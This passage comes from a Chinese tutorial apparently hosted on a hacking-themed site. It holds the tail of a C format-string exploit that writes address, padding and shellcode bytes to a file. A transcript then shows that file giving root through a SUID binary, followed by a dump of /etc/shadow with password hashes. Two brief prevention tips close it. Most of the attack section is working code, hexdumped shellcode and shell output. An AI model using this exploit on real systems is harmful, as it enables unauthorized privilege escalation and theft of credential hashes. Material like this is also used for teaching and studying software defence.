在地址0x0804a6ad中写入0xfb
*/
memset(buf,'x90',0xfb-0xa0-2);
fwrite(buf,sizeof(char),strlen(buf),binFileH);
fwrite(glue,sizeof(char),strlen(glue),binFileH);
memset(buf,0,255);

/*
在地址0x0804a6ae中写入0xff
*/
memset(buf,'x90',0xff-0xfb-2);
fwrite(buf,sizeof(char),strlen(buf),binFileH);
fwrite(glue,sizeof(char),strlen(glue),binFileH);
memset(buf,0,255);

/*
在地址0x0804a6af中写入0xbf
*/
memset(buf,'x90',0x01bf-0xff-2);
fwrite(buf,sizeof(char),strlen(buf),binFileH);
fwrite(glue,sizeof(char),strlen(glue),binFileH);
memset(buf,0,255);

/*
图穷才匕现,荆轲的匕首按老祖宗的规定是要藏在最后的。
*/
fwrite(egg,sizeof(char),strlen(egg),binFileH);

fclose(binFileH);

}

<====================================================================>

下面是Exploit的过程了:

在Exploit之前,我只是普通的用户,食物链中最低的一环,权限一点点而已。

[moda@clatonformat]$id-a
uid=500(moda)gid=100(users)groups=100(users)
[moda@clatonformat]$
[moda@clatonformat]$more/etc/shadow
/etc/shadow:Permissiondenied

但是我发现程序forreal设有SUID位,而且它有FormatString漏洞的,

[moda@clatonformat]$
[moda@clatonformat]$ls-l
total122
-rw-r--r--1modausers450Aug1323:06binFile
-rwxr-xr-x1modausers39546Aug1323:01exforreal
-rw-r--r--1modausers1569Aug1323:01exforreal.c
-rwxr-xr-x1modausers35919Aug823:43fordemo
-rw-r--r--1modausers191Aug823:43fordemo.c
-rwsr-sr-x1rootroot38421Aug1122:17forreal
-rw-r--r--1modausers572Aug1122:17forreal.c
[moda@clatonformat]$

运行我们的Exploit程序产生一个binFile,

[moda@clatonformat]$exforreal
[moda@clatonformat]$hexdumpbinFile
0000000a6ac0804a6ad0804a6ae0804a6af0804
000001078257825782578257825909090909090
000002090909090909090909090909090909090
*
0000080eb902502906e90909090909090909090
000009090909090909090909090909090909090
*
00000d0909090909090909090909090909002eb
00000e06e25909002eb6e259090909090909090
00000f090909090909090909090909090909090
*
00001a090909090909002eb6e25c03168502f2f
00001b068732f686962896e50e3895399e10bb0
00001c080cd
00001c2
[moda@clatonformat]$

再运行一下forreal程序,看看。。

[moda@clatonformat]$forreal
FinishReadinginFile
bash#
bash#
bash#id-a
uid=500(moda)gid=100(users)euid=0(root)egid=0(root)groups=100(users)
bash#more/etc/shadow
root:awSzo0ynO8iN6:11356:0::7:7::
bin:*:10547:0::7:7::
daemon:*:10547:0::7:7::
adm:*:10547:0::7:7::
lp:*:10547:0::7:7::
sync:*:10547:0::7:7::
shutdown:*:10547:0::7:7::
halt:*:10547:0::7:7::
mail:*:10547:0::7:7::
news:*:10547:0::7:7::
uucp:*:10547:0::7:7::
operator:*:10547:0::7:7::
games:*:10547:0::7:7::
gopher:*:10547:0::7:7::
ftp:*:10547:0::7:7::
man:*:10547:0::7:7::
majordom:*:10547:0::7:7::
postgres:*:10547:0::7:7::
nobody:*:10547:0::7:7::
moda:awimqGD4jpVLY:11356:0::7:7::
qingu:VSKjwsO4DHhnk:11359:0:10000:-1:-1:-1:134535676
bash#

哇塞!权限成功提升,升官了耶!!!

结尾的话:

花了那么多时间来讲如何ExploitFormatString,当然也要说一下如何预防被Exploit了,想来想去就那么两条:
1。不要让用户输入格式化符号,象"%x"、"%s"、"%n",危害极大!他们只能也只应该输入数据。
2。你的程序中应该对用户输入内容作些Validation,看有没有用户恶意输入格式化符号,如果有的话,输出几句脏话到他或她的屏幕上!
 
#Advertisement
下载带有 Google 工具栏的 Firefox, 上网冲浪更惬意
 
发表评论 复制地址 发给好友 上一篇 下一篇
最近文章
DNS专题(13)---最好的实..
DNS专题(13)---最好的实..
DNS专题(13)---最好的实..
DNS专题(14)---Windows客..
DNS专题(14)---Windows客..
DNS专题(14)---Windows客..
DNS专题(14)---Windows客..
DNS专题(14)---Windows客..
DNS专题(14)---Windows客..
DNS专题(14)---Windows客..
热点推荐
WMV文件的许可证破解方法
NTFS转换FAT32命令
Soft-ICE 使用说明
入侵网吧服务器
IE以及 Firefox 浏览器 ..
黑客惯用手法揭秘
Windows Services for U..
phpBB的viewtopic highl..
SQL Server ActiveX控件..
Agent ActiveX控件存在畸..
精华推荐
远程桌面入门图文专题
[转帖]Adsl+花生壳+Serv..
推荐:黑客必懂 DOS知识
网络工程师应该掌握的44..
Windows操作系统中IPv6安..
深入剖析IIS 6.0
黑客初级教程-连载
分类信息
 
关于我们 | 联系我们 | 广告联系 | 友情链接 | 版权申明
Copyright © 2005-2007, Power by Jokcn.Com Website name 网友俱乐部 All rights reserved
经营许可证编号:京ICP备05048790号 
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息